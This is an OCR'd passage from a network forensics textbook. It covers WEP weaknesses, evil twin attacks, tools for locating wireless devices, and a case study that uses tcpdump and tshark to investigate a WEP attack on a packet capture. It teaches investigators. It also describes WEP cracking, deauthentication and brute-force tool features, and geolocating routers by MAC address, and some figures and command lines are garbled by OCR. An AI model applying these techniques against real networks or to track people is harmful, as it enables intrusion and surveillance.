with. Sufficiently strong broadcasting can be accomplished over surprisingly wide geographic
areas.

Once a client has connected to the “Evil Twin,” the attacker can intercept traffic, replace
images or words on the fly, conduct SSL-stripping attacks, harvest credentials, and more.

6.4.4 WEP Cracking

Security professionals often joke that “WEP” stands for “Weak Encryption Protocol.” This
isn’t far off the mark (although “WEP” really stands for “Wired Equivalent Privacy,” as
we discussed earlier). Due to flaws in the protocol, there are tools that can help attackers
“crack” WEP keys in minutes, and thereby gain access to any WEP-protected network or
packet capture.

WEP is designed to encrypt the payload of data frames on a wireless network using a
shared key. The key, once selected, is distributed to all stations as a “pre-shared key” (PSK).
The PSK itself is never exposed on the network, and so it is expected to be shared in some
out-of-band way between the stations that need it.

Each station encrypts the payload of all data frames with the PSK and a randomly
selected initialization vector (IV) so that the encryption key changes for every frame. The
problem with using an IV in a reversible, symmetric encryption algorithm, such as RC4, is
that stations have to supply the IV in plain text. Each station adds a cleartext 24-bit IV
to each frame, but 24 bits is actually quite small when you consider the number of frames
that can be transmitted across a WLAN. With only 24 bits of IV, the randomized values
are bound to repeat at some point, given enough traffic. (This is guaranteed to happen after
224—or 16,777,216—frames. With a “maximum transmit unit” (MTU) of 1,500 bytes, that’s
less than 24GB of network data.)

As it turns out, however, after only a few thousand packets you can reliably guess that
at least some of those packets have been encrypted with the same IV, but have different
plain text input and ciphertext output. This enables attackers to leverage the “related-key
attack”, based on the knowledge of some of the bits of the key material.

An attacker’s ability to leverage the related key attack depends on the volume of IVs
exposed. On a quiet network, it may take weeks to capture enough IVs to crack the key.
Fortunately for the attacker (unfortunately for the rest of us), there are weaknesses in WAP
behaviors and implementations that allow attackers to force stations on a WLAN to generate
large volumes of IVs. Using widely published tools, attackers can force the generation of
enough IVs to crack a WEP key within minutes—even on an unused WLAN.

If you see anomalous behavior from an unknown station on a WEP-encrypted WAP, it
could be that the station is attempting to crack the WEP key in order to gain access to the
network. Commonly, WEP-cracking tools used on relatively quiet networks are designed to
force local stations to generate unnecessary packets, with lots of IVs to speed cracking.
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6.5 Locating Wireless Devices

Perhaps the single most challenging aspect of wireless networks for the investigator is the
inherent difficulty in physically locating devices of interest. A compromised laptop may
physically move throughout an enterprise’s network; a rogue wireless access point may be
hidden in crafty places like under ceiling tiles.

Strategies for locating wireless devices include:

1. Gather station descriptors, such as MAC addresses, which can help provide a physical
description so that you know what to look for;

2. For clients, identify the WAP that the station is associated with (by SSID);
3. Leverage commerical enterprise wireless mapping software;
4. Poll the device’s signal strength; and

5. Triangule on the signal.

Of course all of this takes time, and is far more challenging if the device sought for is
mobile and only transiently on the network—exactly the sort of thing that Wi-Fi networks
were designed to accommodate.

6.5.1 Gather Station Descriptors

You can learn a lot about what a wireless device probably looks like from its network
traffic. For example, recall our earlier discussion from Chapter 4, “Packet Analysis,” in
which we learned that every network card is assigned a unique OUI by the manufacturer.
The 802.11 frame indicates the source and destination station MAC addresses. (For wireless
access points, the “BSSID” field in the 802.11 header is also the MAC address of the WAP’s
network card.) Although MAC addresses can be changed, in most cases, no one bothers to
change them. Hence, from sniffing Layer 2 network traffic and examining the MAC addresses
in 802.11 frames of interest, you can make an educated guess as to the manufacturer of the
device generating the traffic. Figure 6-9 shows the 802.11 frame of traffic between an Apple
device and a Cisco WRT54G wireless router. Note that Wireshark automatically translates
the OUI into a manufacturer description.

The content of wireless traffic itself can provide a surprising amount of insight regarding
the physical description of a device. In Figure 6-10, we were able to crack the WEP key of
the wireless traffic and decrypt the contents of the data frames. Now, we can see the contents
of communications between the Apple device and its Layer 3 endpoint (routed through the
Cisco WAP, of course). The traffic includes HTTP data, which contains User-Agent headers
sent by the Apple device. The frame highlighted in Figure 6-10 reveals a User-Agent string
“ITunes-iPad/3.2.1 (16GB).” That’s handy! Now we know that we’re most likely looking
for a 16GB iPad, running OS version 3.2.1. This evidence correlates nicely with the Apple
MAC address we examined moments ago.

6.5.2 Identify Nearby Wireless Access Points

Your strategy for locating a wireless device will depend in part on the function of the device.
For example, you may be searching for a rogue wireless access point or a roving endpoint
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Figure 6-10. With the packet capture WEP-

decrypted, we can see the User-Agent client-side

HTTP header, which seems to confirm that the device is indeed an Apple.

station. In the case where you are searching for a client station that is actively associating
with other WAPs, it is often helpful to identify which WAPs the station is associating
with. Generally (although not always), endpoint stations associate with a wireless access
point that is physically close by. In the case of a wireless bridged network, clients typically
associate with the WAP in the bridged network that has the strongest signal, which is also

often physically closest.
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There are basically two ways to find out which WAPs a rogue endpoint client is associated
with or attempting to associate with: WAP logs and traffic monitoring.

If you are lucky enough to be in an environment that captures wireless authentication
attempts on a central logging system, you may be able to watch station association requests
and responses by examining logs on the central server.

Otherwise, you can passively monitor the wireless traffic for association requests, re-
sponses, and other Layer 2 traffic related to the MAC address of interest. Generally, this
requires that either you know the general vicinity of the rogue device already and can sniff
traffic in that area, or that you have access to a wireless intrusion detection system with
sensors distributed around a wide area.

In this way, you can track the station as it moves from device to device and locate the
client using locations of known WAPs.

6.5.3 Signal Strength

There are many tools such as NetStumbler or Kismet that will list the nearby wireless access
points and show you their relative signal strengths. Often, you can locate a mysterious
wireless device simply by viewing the signal strengths using one of these applications and
walking in the direction of increasing signal strength. This works well in situations where
the station of interest is not mobile.

6.5.3.1 Received Signal Strength Indication (RSSI)

It is sometimes possible to see both the IEEE 802.11 Received Signal Strength Indication
(RSSI) and the Transmit (Tx) Rate information when viewing a packet capture—but only
if the tool that captured the packets supplies that data in its own additional framing. The
802.11 specification simply doesn’t include such information in the data link—layer header.

If available, per-frame RSSI and Tx Rate information can be added manually to Wire-
shark’s Packet List pane by editing user preferences.*’

6.5.3.2 NetStumbler

NetStumbler*! is a Windows tool designed to discover 802.11 networks. Though it is ex-
tremely popular for blackhats and whitehats alike, it is not totally passive, which means
that its presence and activities can be detected by other wireless auditing tools. Like most
tools of its kind, it supports GPS integration for the mapping of signals to physical loca-
tions, making it useful for “wardriving” or “warwalking.” NetStumbler is free for download,
though not open source.

Due to considerable architectural differences between XP and Vista/Windows 7, Net-
Stumbler does not work on the latter. Vistumbler is a similar tool designed to run on
Vista, though provided by different authors, and so it has a different user interface and
functionality.*?> 43 A more popular replacement for all three platforms is inSSIDer. %

40. A. Orebaugh et al., Wireshark & Ethereal: Network Protocol Analyzer Toolkit (Syngress, 2006).
41. Mariusm, “stumbler dot net,” February 16, 2010, http://www.stumbler.net/.

42. Ibid.

43. “Vistumbler,” December 12, 2010, http://vistumbler.sourceforge.net /.

44. “inSSIDer,” http://www.metageek.net/products/inssider/.
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6.5.3.3 Kismet

Kismet is a widely used libpcap-based 802.11 “wireless network detector, sniffer, and intru-
sion detection system” for Linux/UNIX operating systems. It is both free and open source,
and also capable of being totally passive. In addition to providing support for many attacks
against authentication and encryption, it boasts the following features: 43

e Wireshark- and tcpdump-compatible data logging

e Network IP range detection

e Hidden network SSID decloaking

e Graphical mapping of networks

e Manufacturer and model identification of access points and clients

e Detection of known default access point configurations

e Runtime decoding of WEP packets for known networks

e Named pipe output for integration with other tools, such as a Layer 3 IDS like Snort
e Distributed remote drone sniffing

e XML output

e Over 20 supported card types

6.5.3.4 KisMAC

KisMAC is a free, open source 802.11 discovery tool for Mac OS X, which is open source

and supports the same essential features as NetStumbler for Windows. However, KisMAC

supports totally passive scanning, meaning that it can merely observe RF traffic without

emitting any RF itself. KisMAC boasts the following features and attack strategies: 46
Features:

e Reveals hidden/cloaked/closed SSIDs

e Shows logged-in clients (with corresponding MAC addresses, IP addresses, and signal
strengths)

e Mapping and GPS support

e Can draw area maps of network coverage
e PCAP import and export

e Support for 802.11b/g

e Different attacks against encrypted networks

45. “Kismet,” 2011, http://www.kismetwireless.net/.

46. “kismacng,” January 2011, http://trac.kismac-ng.org/.
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e Deauthentication attacks
e AppleScript-able

e Kismet drone support (capture from a Kismet drone)
Crypto attack support:

e Bruteforce attacks against LEAP, WPA, and WEP
e Weak scheduling attack against WEP
e Newsham 21-bit attack against WEP

6.5.4 Commercial Enterprise Tools

Enterprises that deploy campus-wide wireless LANs often install central management con-
soles, which include mapping and station tracking capabilities. Vendors such as Aruba and
Cisco offer specialized wireless tracking and WIDS software for use in these environments.

For example, organizations can deploy a mesh of access points throughout their facilities
using Cisco products. The access points are controlled by Cisco Wireless LAN Controllers,
which in turn can be centrally managed through the Cisco Wireless Control System (WCS).
The WCS can display the location of a wireless device on floor maps that have been uploaded
to the system and preconfigured by network administrators. The Cisco Wireless Location
Appliance (WLA) has even greater wireless device tracking and searching capabilities. The
WLA receives data from the Wireless LAN Controllers, and uses this to provide network ad-
ministrators with a central console for tracking wireless devices throughout the enterprise. 47
Figure 6-11 shows a screenshot of devices located on an enterprise floor map. Known devices
are marked with a box, while “rogue” devices are labeled with a skull.

6.5.5 Skyhook

Skyhook Wireless Positioning System (WPS) is a proprietary location tracking service pro-
vided by Skyhook Wireless. It is an extremely popular alternative to GPS, especially because
it works well indoors and can provide results with 10-30m of accuracy in urban environ-
ments where GPS is less effective. For years, the company has employed hundreds of “data
specialists” to wardrive and collect BSSIDs for beaconing WAPs and cell tower IDs, along
with corresponding GPS data.?® Using this information, they have compiled an intensive
database. When a client queries the Skyhook API in order to determine its own location, it
sends information about surrounding wireless devices and cell towers to Skyhook’s Location
Server. The Location Server searches the database for matches and provides the client with
the corresponding GPS coordinates.

47. “Cisco 2700 Series Wireless Location Appliance Deployment Guide [Cisco Wireless Location Appliance],”
Cisco Systems, 2011, http://www.cisco.com/en/US/docs/wireless/technology /location/deployment /guide/
depgd.html.

48. “Skyhook: How It Works,” http://www.skyhookwireless.com/howitworks/.
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Figure 6-11. A screenshot of Cisco's Wireless Location Appliance, which displays devices
located on an enterprise floor map and allows system administrators to search and sort. This is
WLA's main view, listing stations detected, BSSID, signal strength, and more. Known devices
are marked with a box, while “rogue” devices are labeled with a skull. Courtesy of Cisco
Systems, Inc. Unauthorized use not permitted.*’

Popular products that use the Skyhook WPS include Apple iPhones, which have a “Lo-
cate Me” feature, and Eye-Fi SD cards, which tag photos taken by digital cameras with
their GPS coordinates.

In 2008, several researchers published articles describing how to leverage the Skyhook
system in order to get GPS coordinates of arbitrary MAC addresses.?® With knowledge of
a WAP’s MAC address, third parties can query the Skyhook system to obtain a location
from Skyhook’s highly granular database.®® This may or may not be legal, depending on
your purposes and the laws in your area. However, you may be involved in an investigation
where there is a legitimate need and legal way to query the Skyhook API for an arbitrary

MAC address.

49. “Cisco 2700 Series Wireless Location Appliance Deployment Guide [Cisco Wireless Location Appliance],”
Cisco Systems, 2011, http://www.cisco.com/en/US/docs/wireless/technology /location/deployment /guide/
depgd.html#wp37848.

50. thebmxr, “Don’t Locate Me,” 2011, http://thebmxr.googlepages.com/Don _t_Locate_me.pdf.

51. Coderrr, “Get the Physical Location of Wireless Router from Its MAC Address (BSSID),” Septem-
ber 10, 2008, http://coderrr.wordpress.com/2008/09/10/get-the-physical-location-of-wireless-router-from-
its-mac-address-bssid/.
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6.6 Conclusion

With the explosion of mobile devices and wireless deployments in enterprises and homes,
forensic investigators are increasingly tasked with examining wireless traffic and devices.
Compared with wired Ethernet networks, wireless networks pose special challenges. For
example, the 802.11 data link—layer protocol suite is fundamentally different from Ethernet,
and even details such as the order that bits are transmitted may surprise network forensics
investigators used to Ethernet traffic analysis.

In this chapter, we studied the IEEE’s 802.11 protocol series, including encryption al-
gorithms and their flaws. We talked about the types of evidence that you can gather from
wireless access points, and touched on wireless traffic capture and analysis. We reviewed
common attacks on wireless networks that investigators should be familiar with so that you
can recognize them in the field. Finally, we discussed one of the most common hurdles fac-
ing wireless network forensic investigators: locating wireless devices. The very feature that
makes wireless networks so popular—client mobility—is perhaps our biggest investigative
challenge.
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6.7 Case Study: HackMe, Inc.

The Case: September 17th, 2010: InterOptic is on the lam and is pinned down. The area is
crawling with cops, and so he must stay put. But he also desperately needs to be able to get
a message out to Ann and Mr. X. Lucky for him, he detects a wireless access point (WAP)
in the building next door that he might be able to use. But it is using encryption, and there
are no other opportunities available. What is InterOptic to do?

Meanwhile ... Next door, Joe is a sysadmin at HackMe, Inc. He runs the technical infra-
structure for a small company, including a WAP that is used pretty much exclusively by him.
He’s trying to use it now, and has discovered that he’s begun to get dropped. He captures
some traffic, but he really has no idea how to interpret it. Suddenly he discovers he can’t
even login to administer his WAP at all!

The Challenge: You are the forensic investigator. Your team got a tip that InterOptic
might be hunkered down in the area. Can you figure out what’s going on and track the
attacker’s activities?

The following questions will help guide your investigation:

e What are the BSSID and SSID of the WAP of interest?

e Is the WAP of interest using encryption?

e What stations are interacting with the WAP and/or other stations on the WLAN?

e Are there patterns of activity that seem anomalous?

e How are they anomalous: Consistent with malfunction? Consistent with maliciousness?
e Can we identify any potentially bad actors?

e Can we determine if a bad actor successfully executed an attack?

Evidence: Joe has provided you with a packet capture (wlan.pcap) and permission to
inspect it in any way you need to either solve his problem, catch InterOptic, or both. He also
helpfully tells you that his own system’s MAC address is 00:11:22:33:44:55, and reiterates
that no one else should be using his WAP.

6.7.1 Inspecting the WAP

The most obvious place to begin analysis is Joe’s WAP. Along the way we expect—or at
least hope—to learn something about the stations with which it was communicating, and to
be able to infer a whole lot from the anomalous traffic we're about to examine. Let’s begin
by identifying and inspecting the WLAN under investigation.

6.7.1.1 Inspecting Beacon Frames

Probably the most straightforward way to identify the WAPs in a packet capture is to
simply filter on Beacon frames. Figure 6-12 demonstrates how Wireshark can be used with
a display filter on the appropriate frame type (0) and subtype (8): “wlan.fc.type_subtype
== 0x08.” Note also the “BSS Id” in the frame: 00:23:69:61:00:d0.
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- wlan.fc.type_subtype == 0x08 ]_|l Expression... lclearl Apply _

No. . Time Source Destination Protocol  Info

1 6.000000 00:23:69:61:00:d0 friffff:ff:ff:ff IEEE 802 Beacon frame,

i —— ]
+| Frame 1 (185 bytes on wire, 185 bytes captured)
—| IEEE 802.11 Beacon frame, Flags: ........
Type/Subtype: Beacon frame (©x©8)
—| Frame Control: ©x0080 (Normal)

Version: @

Type: Management frame (8)
+| Flags: ex@
Duration: ©
Destination address: ff:ff:ff:ff:ff:Fff (ff:ff:ff:ff:ff:ff)
Source address: 00:23:69:61:00:d0 (00:23:69:61:00:d0)
BSS Id: ©0:23:69:61:00:d0 (00:23:69:61:00:d0)

Figure 6-12. An 802.11 management frame shown in Wireshark. As you can see in the Packet
Details pane, this frame is type 0, subtype 8: a Beacon frame.

Using tcpdump with the BPF language, we can easily find this Beacon frame too, so
long as we mind our endianness:

$ tcpdump -nne -r wlan.pcap 'wlan[0] = 0x80' reading from file wlan.pcap,
link-type IEEE802_11 (802.11) 09:56:41.085810 BSSID:00:23:69:61:00:d0 DA:
ff:ff:ff:ff:ff:ff SA:00:23:69:61:00:d0 Beacon (MentOrNet) [1.0% 2.0% 5.5%
11.0% 18.0 24.0 36.0 54.0 Mbit] ESS CH: 2, PRIVACY

We see the same BSSID as before, and some other useful information (SSID, channel,
etc.). But what if the WAP of interest was specifically configured not to send Beacon frames?
That’s not as big a problem for us as many people might think.

6.7.1.2 Filter on WAP-Announcing Management Frames

Let’s use our tshark invocation from Section 6.3.3.1 to filter traffic and display only Beacon
and Probe Response frames that have the ESS subfield set to 1 and the IBSS subfield set
to 0. (Recall that, by specification, WAPs set these fields accordingly.) Even if a WAP is
not broadcasting Beacon frames, it may still send Probe Responses to stations that initiate
Probe Requests.

$ tshark -nn -r wlan.pcap -R '((wlan.fc.type_subtype == 0x08 || wlan.fc.
type_subtype == 0x05) && (wlan_mgt.fixed.capabilities.ess == 1) && (
wlan_mgt.fixed.capabilities.ibss == 0))'

1 0.000000 00:23:69:61:00:d0 -> ff:ff:ff:ff:ff:ff 802.11 105 Beacon frame
, SN=3583, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

265 20.409086 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3801, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

270 20.597504 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3804, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

335 23.318463 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3837, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

412 26.317951 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3873, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

[...]
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As you can see in Figure 6-13, you can use the same display filter in Wireshark to find
Beacon or Probe Response frames that emanate from WAPs. To list the BSSIDs of the
known WAPs in the packet capture, let’s use tshark along with some simple shell scripting.
In the command below, we tell tshark to print only the BSSID field (“wlan.bssid”), and then
we use the Linux tool “uniq” to get a count of the number of occurrances of each BSSID.

$ tshark -nn -r wlan.pcap -R '((wlan.fc.type_subtype == 0x08 || wlan.fc.
type_subtype == 0x05) && (wlan_mgt.fixed.capabilities.ess == 1) && (
wlan_mgt.fixed.capabilities.ibss == 0))' -T fields -e wlan.bssid | uniq -c

174 00:23:69:61:00:d0

As you can see, only one WAP sent Beacon or Probe Response frames in the packet
capture—and it sent 174 of these frames. This WAP had the BSSID “00:23:69:61:00:d0.”
We can confirm with Joe that that is indeed the BSSID printed on the label that Linksys
put on the device, and that it is configured with the SSID “MentOrNet.”

6.7.1.3 Take Inventory of Stations on the WLAN

Returning to the Beacon frame from earlier, let us inspect it further with Wireshark so that
we can record a few more details about the WLAN that we may need later (and perhaps
even create some display filters we can use later on with “tshark” to speed things up). Along
the way we’ll answer a number of the questions posed in the challenge.

Figures 6-14, 6-15, and 6-16 highlight the BSSID, SSID, and channel, respectively. In
these frames, we see that the WAP’s BSSID is “00:23:69:61:00:d0,” the SSID is “Ment0rNet,”
and the WAP is operating on channel 2.

Filter: [1) && twlan_magt.fixed.capabilities.ibss == 0)) ¥ | Expression... Clear Apply

No. Time Source Destination Protocol| Length|Info
. 085810 123:69:61: ffeffffff:ff:f 1 . 105 Beacon fra
265 09:57:01.494896 00:23:69:61:00:d0 00:11:22:33:44:55 802.11 211 Probe Resps
270 09:57:01.683314 00:23:69:61:00:d0  00:11:22:33:44:55 802.11 211 Probe Respt
335 09:57:04.404273 00:23:69:61:00:d0  00:11:22:33:44:55 802.11 211 Probe Respt
412 09:57:07.403761 00:23:69:61:00:d0 00:11:22:33:44:55 802.11 211 Probe Respt

1€

P IEEE 802.11 Beacon frame, Flags: ........
~ IEEE 802.11 wireless LAN management frame
= Fixed parameters (12 bytes)
Timestamp: OxOO00000080827183
Beacon Interval: 0.102400 [Ssconds]
= Capabilities Information: ox0411

1 = ESS capabilities: Transmitter is an AP

IBSS status: Transmitter belongs to a BSS

CFP participation capabilities: No point coordinator at AP (
Privacy: AP/STA can support WEP

- o
o
o -
e .
o
[T

Figure 6-13. A screenshot of Wireshark used with a display filter that tests for
frames that emanate from WAPs. The display filter used is “((wlan.fc.type_subtype ==
0x08 || wlan.fc.type_subtype == 0x05) && (wlan_mgt.fixed.capabilities.ess == 1) &&
(wlan_mgt.fixed.capabilities.ibss == 0)).”



6.7 Case Study: HackMe, Inc. 239

iwlan.fc.type_subtype == (x08

Source
BE:23:69:61:00:(q

1 0.008080

e —

|+| Frame 1 (185 bytes on wire, 105 bytes captured)
|-| IEEE 8082.11 Beacon frame, Flags: ........
Type/Subtype: Beacon frame (©x88)
|+| Frame Control: ©x0880 (Normal)
Duration: ©

Destination address: ff:ff:ff:ff:ff:ff (ff:ff:
Source address: 00:23:69:61:00:d0 (00:23:69:6!
BSS Id: 00:23:69:61:00:d0 (B0:23:69:61:00:d0)

Figure 6-14. An 802.11 management frame with subtype 0x8 (a Beacon frame). The BSSID
(00:23:69:61:00:d0) is highlighted.

wlan.fc.type subtype == 0x08

source
B0:23:69:61:00:d6

1 0.000000

e —— e

|+| Frame 1 (165 bytes on wire, 185 bytes captured)
'+ IEEE 802.11 Beacon frame, Flags: ........
|—| IEEE 882.11 wireless LAN management frame
[+| Fixed parameters (12 bytes)
[=| Tagged parameters (69 bytes)
=] SSID parameter set
Tag Number: @ (SSID parameter set)
Tag length: 9

Tag interpretation: Ment@rNet: "Ment@rNet"

Figure 6-15. An 802.11 management frame with subtype 0x8 (a Beacon frame). The SSID
parameter set is shown, with the tag interpretation (“MentOrNet”) highlighted.
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wlan.fc.type_subtype == 0x08

00:23:69:61:00:d0 Frff:ff:ff:FF: Ff IEEE 802 Beacon frame

|+| Frame 1 (165 bytes on wire, 105 bytes captured)
|+| IEEE 802.11 Beacon frame, Flags: ........
| IEEE 802.11 wireless LAN management frame
[+] Fixed parameters (12 bytes)
[=|] Tagged parameters (69 bytes)
[+] SSID parameter set
[+| Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) 18.0 24.0 36.0 54.0
=] DS Parameter set: Current Channel: 2
Tag Mumber: 3 (DS Parameter set)
Tag length: 1

Tag interpretation: Current Channel: 2

Figure 6-16. An 802.11 management frame with subtype 0x8 (a Beacon frame). The field
containing “Current Channel” (channel 2) is highlighted.

6.7.1.4 WLAN Encryption

Is the WLAN using encryption? Yes, it does appear to be. To answer this question, first,
we can ask Wireshark to show us only the data frames: “wlan.fc.type_subtype == 0x20.”
Figure 6-17 shows an example of a data frame. Notice the Protected bit (highlighted) is
set to 1.

ubtype == 0x20) && (wlan.bssid == 00:23:69:61:00:d0)

98 6.553469 :23:6 01:00:5e:7(::la IEEE 802 Dal
99 6.557567 00:23:69:61:00:ce 01:00:5e:7f:ff:fa IEEE 802 Dat
100 6.563199 00:23:69:61:00:ce 01:00:5e:7f:ff:fa IEEE 802 Dat
101 6.566783 00:23:69:61:00:ce 01:00:5e:7f:ff:fa IEEE 802 Dat

T
|+| Frame 98 (352 bytes on wire, 352 bytes captured)
(= IEEE 802.11 Data, Flags: .p....F.
Type/Subtype: Data (©8x20)
[=] Frame Control: 8x4208 (Normal)
Version: @
Type: Data frame (2)

Subtype: @
[= Flags: 0x42
...... 16 = DS status: Frame from D5 to a STA via AP(To DS: @ From DS: 1) (0x02)
.@.. = Mure Fragmenls: This is Lhe lasl [ragmenl
ve.. B... = Retry: Frame is not being retransmitted
.8 ... = PWR MGT: STA will stay up

..B. .... = More Data: No data buffered

Protected flag: Data is protected

Figure 6-17. An 802.11 data frame shown in Wireshark. Notice that the “Protected” flag
(highlighted) is set, indicating that the data is encrypted.
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Using tcpdump and some BPF inspection, we can easily demonstrate that all the data
frames in the capture are WEP protected. First, let’s count the data frames. By filtering on
the version (0), type (2) and subtype (0) in the first byte of the frame (the byte at “offset
zero”), and sending the output to the “wc” command to count lines, we get 59,274 total
data frames:

$ tcpdump -nne -r wlan.pcap 'wlan[0] = 0x08'|wc -1
reading from file wlan.pcap, link-type IEEE802_11 (802.11)
59274

Next, let’s also filter on the “Protected” bit in the next byte (again, keeping in mind the
endianness of the bits in transmission):

$ tcpdump -nne -r wlan.pcap 'wlan[0] = 0x08 and wlan[1] & 0x40 = 0x40'|wc -1
reading from file wlan.pcap, link-type IEEE802_11 (802.11)
59274

The resulting count of data frames is the same with or without a filter on a positive value
for the “Protected” bit: 59,274. This means that all 59,274 data frames are also encrypted.

6.7.1.5 Associated Stations

Using Wireshark, we can easily construct a filter on the Association Response subtype of
the management frames, and further filter on the 2-byte status code indicating successful
association: “wlan.fc.type_subtype == 0x01 && wlan_mgt.fixed.status_code == 0x0000.”
Presumably the source of such frames should all be our known BSSID, and the various
destinations would be the stations that successfully associated. Figure 6-18 illustrates this
approach, as well as the large number of frames which show successful association.

With a little bit of tcpdump and BPF language, and some more command-line fu, we
can aggregate data from these frames in a useful way. We begin by filtering on the ver-
sion/type/subtype byte for the appropriate value for an Association Response (0x01, which
translates to 0x10 in transmission order), and then locate the 2-byte field that indicates the
status code (the 2 bytes starting at the 26th byte offset (remember, counting from 0)).

In the tcpdump output produced by the command below, the destination MAC address is
the third field. We use the “awk” command to print only the third field, and then send these

l.ﬁltel':k: == 0x01) && (wlan_magt.fixed.status_code == 0}(00001’7“ Expression... l CIearIWY —

No. . Time Source Destination Protocol | Info

20.6308783 : 161:00: : 3:44: Association ]
3684 139.691710 1c:4b:db:b9:cd: 07 LIEEE 882 Association Respt
3787 131.552957 1c:4b:d6:69:cd:07 IEEE 8062 Assoclation Respt
3723 132.576510 1c:4b:d6:69:cd:07 IEEE 8062 Assoclation Respt
3742 133.540671 1c:4b:d6:69:cd:07 IEEE 8062 Assoclation Respt
3759 134.542204 1c:4b:d6:69:cd: 07 ICEE 802 Association Respt
3774 135.547326 1c:4b:d6:69:cd: 07 ICEE 802 Association Respt
3775 135.540863 1c:4b:d6:69:cd: 07 ICEE 802 Association Respt

3813 138.535551 1c:4b:dfi:69:cd:07 TFEF 8082 Association Respe
3838 139.541183 1c:4b:dfi:69:cd:07 TFEF 8082 Association Respe
3871 140.564223 1c:4b:dfi:69:cd:07 TFEF 8082 Association Respe
3926 141.527871 1c:4b:d6:69:cd: 07 IEEE 8082 Association Respt
4896 142.531967 lc:4b:d6:69:cd: 07 IEEE 8082 Associalion Respo
4374 143.534527 lc:4b:d6:69:cd: 07 IEEE 8082 Associalion Respo
4415 143 643581 B@:11:22:33:44:55 IEEE 8082 Associalion Respo
47@1 144 535311 1c:dh-dfi:f9-cd:-A7 IEEE _8A2 Acsaciatinn Recny

Figure 6—18. So very many successful association messages ...
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values line-by-line to “sort,” whose output then allows the “uniq” program to aggregate and
count them. By sending the remaining output through the last “sort” invocation, we can
see them listed in order of frequency.

$ tcpdump -nne -r wlan.pcap 'wlan[0] = 0x10 and wlan[26:2] = 0x0000'|awk '{
print $3}'lIsort|uniq -clsort -nr
reading from file wlan.pcap, link-type IEEE802_11 (802.11)
68 DA:1c:4b:d6:69:cd:07
4 DA:00:11:22:33:44:55
1 DA:de:ad:be:ef:13:37

It seems that Joe successfully associated four times, an unknown station with the MAC
address of “de:ad:be:ef:13:37” associated once, and another unknown station with the MAC
address of “1c:4b:d6:69:¢d:07” successfully associated 68 times. That seems a bit odd.

6.7.2 Quick-and-Dirty Statistics

Let’s gather some statistics on the traffic in this packet capture in order to better understand
the actors and time frame.

6.7.2.1 Who Are the People in Your Neighborhood?

Let’s look again at the encrypted data frames. How many encrypted data frames are there?
Who are they coming from and where are they going? Are there any that seem unusual?

Tshark is an excellent tool to help us look at statistics, as well as individual packets.
Let’s begin by trying out a display filter that should provide a known result: the number
of protected data frames in the capture. Since we know the BSSID of the WAP that is
the focus of our investigation (00:23:69:61:00:d0), we will include the filter “wlan.bssid ==
00:23:69:61:00:d0” in our tshark invocations in order to narrow the scope to our identified
target of interest.

Note that in the display filter below, we specify the value of the type/subtype fields as
the appear in the protocol specification (0x20), NOT the order in which they are transmitted
(0x08). This is an important difference between the display filters we use with tshark/Wire-
shark and the BPF filters we used previously with tcpdump.

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:40) '|wc -1
59274

That number corresponds with the results of our previous inspection. From there, we can
begin to use tshark to extract individual fields from the WLAN protocol for aggregation
and comparison. This invocation, the end of which should be familiar now, shows us an
aggregated count of the number of encrypted data frames transmitted from each MAC
address:

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) ' -T fields -e wlan.
sal|sort|uniq -clsort -nr
42816 1c:4b:d6:69:cd:07
14127 00:11:22:33:44:55
15674 00:23:69:61:00:ce
757 de:ad:be:ef:13:37
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In the example above, by extracting only the “sending address” field of the WLAN
protocol (“wlan.sa”) from the data frames, and sorting and counting their occurrences, we
can see that one of our unknown stations (1c¢:4b:d6:69:cd:07) sent roughly three times the
number of data frames as Joe’s station during the same time period.

We also see a source of “00:23:69:61:00:ce,” which differs from the WAP’s BSSID by only
the last octet. It’s interesting that this MAC address is very similar to that of the WAP’s
BSSID. Recall that WAPs typically serve at least two functions: First, they provide access to
wireless distribution services, and second, they act as stations on the network which provide
services for WAP management, DHCP, logging, and other functionality. It is common to see
different addresses used for different purposes. In this case, let’s hypothesize that the similar-
ity between the MAC address “00:23:69:61:00:ce” and the WAP’s BSSID (00:23:69:61:00:d0)
is not a coincidence. It is likely that “00:23:69:61:00:ce” is the WAP’s MAC address which it
uses to participate as a logically distinct station in the wireless network. We will henceforth
refer to this informally as the WAP’s “station” (STA) interface.®?

Last but not least, we also see a few data frames from the odd MAC address,
“de:ad:be:ef:13:37.”

What if we were to look at the comparative count of frame destination addresses
(“wlan.da”) in the same fashion?

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) ' -T fields -e wlan.
dal|sort|uniq -cl|sort -nr

42837 ff:ff:ff:ff:ff:£ff
14816 00:23:69:61:00:ce
8568 00:11:22:33:44:55
654 de:ad:be:ef:13:37
59 01:00:5e:7f:ff:fa
25 33:33:00:00:00:02
17 33:33:00:00:00:16
6 33:33:ff:33:44:55
2 33:33:ff:ef:13:37

Interesting: The results shown above indicate that approximately 42,837 encrypted data
frames were sent to the broadcast MAC address (fl:ff:A:AF::ff). This is almost the same as
the number of frames sent from station 1c:4b:d6:69:cd:07. Similarly, station 00:23:69:61:00:ce
(likely the WAP’s STA interface) received roughly the same number of encrypted data frames
as Joe’s station (00:11:22:33:44:55). Coincidence?

Let’s look at both source and destination:

$ tshark -r wlan.pcap -R '((wlan.fc.type_subtype == 0x20) && (wlan.fc.
protected == 1)) && (wlan.bssid == 00:23:69:61:00:d0) ' -T fields -e wlan.
sa -e wlan.dalsort|uniq -clsort -nr
42816 1c:4b:d6:69:cd:07 ff:ff:ff:ff:ff:ff
14076 00:11:22:33:44:55 00:23:69:61:00:ce
858 00:23:69:61:00:ce 00:11:22:33:44:55
